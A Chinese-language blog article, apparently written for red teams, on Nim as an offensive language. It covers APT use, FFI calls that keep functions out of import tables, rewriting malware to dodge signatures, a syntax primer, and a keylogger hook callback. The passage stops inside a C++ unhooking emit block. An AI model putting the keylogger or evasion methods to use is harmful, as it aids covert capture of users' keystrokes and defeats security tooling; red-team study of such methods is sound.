阅读: 18
一、技术背景
对传统的安全检测设备和安全研究人员而言,新语言相对晦涩且冷门,具有语言本身的特性。在面对传统的安全措施时,绕过更加轻松,使得安全设备增大识别和检测难度,大大增加安全防御成本。
在这些新的编程语言中,Nim语言尤其受到了攻击者的青睐。其中,APT组织TA800在攻击中多次使用Nim语言开发的NimzaLoader下载器;APT28组织的攻击工具Zebrocy用Nim语言进行重构等。
本文将从蓝军研究人员的角度对Nim语言的优势和利用面进行分析,希望能对读者有所启发。
二、Nim语言优势分析
C++语言和Nim语言实现0到9的循环代码,对比如下:
# Nim语言实现0-9的循环输出
for i in 0 .. <10:
echo(i)
// C++ 实现0-9的输出
#include <iostream>
using namespace std;
int main()
{
for (int i = 0; i < 10; i++)
{
cout << i << endl;
}
return 0;
}
外部函数接口:指的是一种机制,使用一种编程语言编写的程序可以调用用另一种编程语言编写的服务(比如在Nim语言中可以调用使用C/C++编写的Messagebox函数)。
Nim有成熟的外部函数接口技术(FFI,使得Nim语言与Windows API交互的时候,具有OPSEC的特性,即使用Nim编写的程序的外部导入函数不会真正显示在可执行文件的静态导入表中 。对比如下:
使用C语言执行MessageBox弹窗和用WinExec执行计算器,代码如下:
#include <windows.h>
int main(int argc, char* argv[])
{
MessageBoxA(0, "Hello, world !", "MessageBox Example", 0);
WinExec("calc.exe", SW_SHOW);
return 0;
}
proc MessageBoxA*(hWnd: int, lpText: cstring,
lpCaption: cstring, uType: int32): int32
{.discardable, stdcall, dynlib: "user32", importc.}
MessageBoxA(0, "Hello, world !", "MessageBox Example", 0)
proc WinExec*(lpCmdLine:cstring,uCmdShow:int32): int32
{.discardable,stdcall,dynlib:"kernel32",importc.}
WinExec("calc.exe",0)
使用Nim语言重写能使现存基于C/C++等语言的恶意程序重获新生。这些程序的原始版本大多被各种静态特征标记,而使用Nim重构后的程序无论是签名哈希还是特征码都会有所变化,达到绕过规则检测的效果。
在windows平台下编译在arm架构下的linux程序:
nim c --cpu:amd64 --os:linux --compileOnly --genScript .\crossCompileTest.nim
过程如下,执行命令:
nim c -d:danger -d:strip --opt:size .\begin.nim
三、Nim语言基本语法
# 1. 打印输出
echo "Hello World"
# 2. 变量声明和赋值 - 变量名:变量类型
var var1: int # int类型
var var2: string # 字符串类型
var1 = 3
var2 = "str"
# 3. 控制流
# 3.1 if-else
if var1 == 3:
echo "True"
elif var1 > 3:
echo "bigger"
elif var1 < 3:
echo "smaller"
# 3.2 switch case
case var1
of 3:
echo "Case:Yes,it's 3"
else:
echo "Case:No,it isn't 3"
# 3.3 for countup是迭代器,相当于python的range
for i in countup(1,10):
echo i
# 3.4 while,break 用法,与python相近
while var1 == 3:
echo "while:Yes,it's 3"
break
# 4. Procedures 使用,相当于 函数
# discardable 用于 声明 返回值类型为 “丢弃”
proc Addpro(x, y: int): int {.discardable.} =
return x + y
echo(Addpro(3, 4)) # 输出返回值
# 5. 高级数组类型
# 5.1 数组类型,大小固定不变
type
IntArray = array[1..5, int] # 索引从1到5,元素数量为5个
var arr: IntArray
arr = [5,10,15,20,25]
for index, val in arr:
echo "Index: ", index, " Value = ", val
# 5.2 sep序列类型,相当于动态数组或python的list
var arrSep: seq[int] #
arrSep = @[5,10] # 赋值方式和数组一样用[],但前面多了个@符号
echo arrSep
# ... 有更多结构体在nim官方文档可查
# 6. 引用和指针
type # 自定义一个对象,相当于结构体
MyObj = object
name: string
age: int
var obj1: MyObj
obj1 = MyObj(name:"I",age:12)
echo obj1
echo sizeof(obj1) # sizeof(name) + sizeof(age) = 8
# 7. FFI使用,Nim语言最终编译成C语言,所以使用FFI很方便
proc strcmp(a, b: cstring): cint {.importc: "strcmp", nodecl.}
let cmp = strcmp("C?", "Easy!")
echo cmp
四、Nim在蓝军武器中的实例
# hook回调函数
proc HookCallback(nCode: int32, wParam: WPARAM, lParam: LPARAM): LRESULT {.stdcall.} =
if nCode >= 0 and wParam == WM_KEYDOWN:
var keypressed: string
var kbdstruct: PKBDLLHOOKSTRUCT = cast[ptr KBDLLHOOKSTRUCT](lparam)
var currentActiveWindow = GetActiveWindowTitle()
var shifted: bool = (GetKeyState(160) < 0) or (GetKeyState(161) < 0)
var keycode: Keys = cast[Keys](kbdstruct.vkCode)
if shifted and (keycode in KeyDictShift):
keypressed = KeyDictShift.getOrDefault(keycode)
elif keycode in KeyDict:
keypressed = KeyDict.getOrDefault(keycode)
else:
var capped: bool = (GetKeyState(20) != 0)
if (capped and shifted) or not (capped or shifted):
keypressed = $toLowerAscii(chr(ord(keycode)))
else:
keypressed = $toUpperAscii(chr(ord(keycode)))
echo fmt"[*] Key: {keypressed} [Window: '{currentActiveWindow}']"
return CallNextHookEx(0, nCode, wParam, lParam)
# hook键盘的函数
var hook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC) HookCallback, 0, 0)
在Nim中,存在Emit pragma ,可直接在Nim中嵌入C/C++代码。通过该语法将unhook dll相关代码嵌入,实现调用。
我们在Nim中直接调用相关C++代码,部分代码如下:使用emit实现C++代码嵌入
# 使用emit 实现嵌入
{.emit: """
#include <Windows.h>
#include <winternl.h>
#include <psapi.h>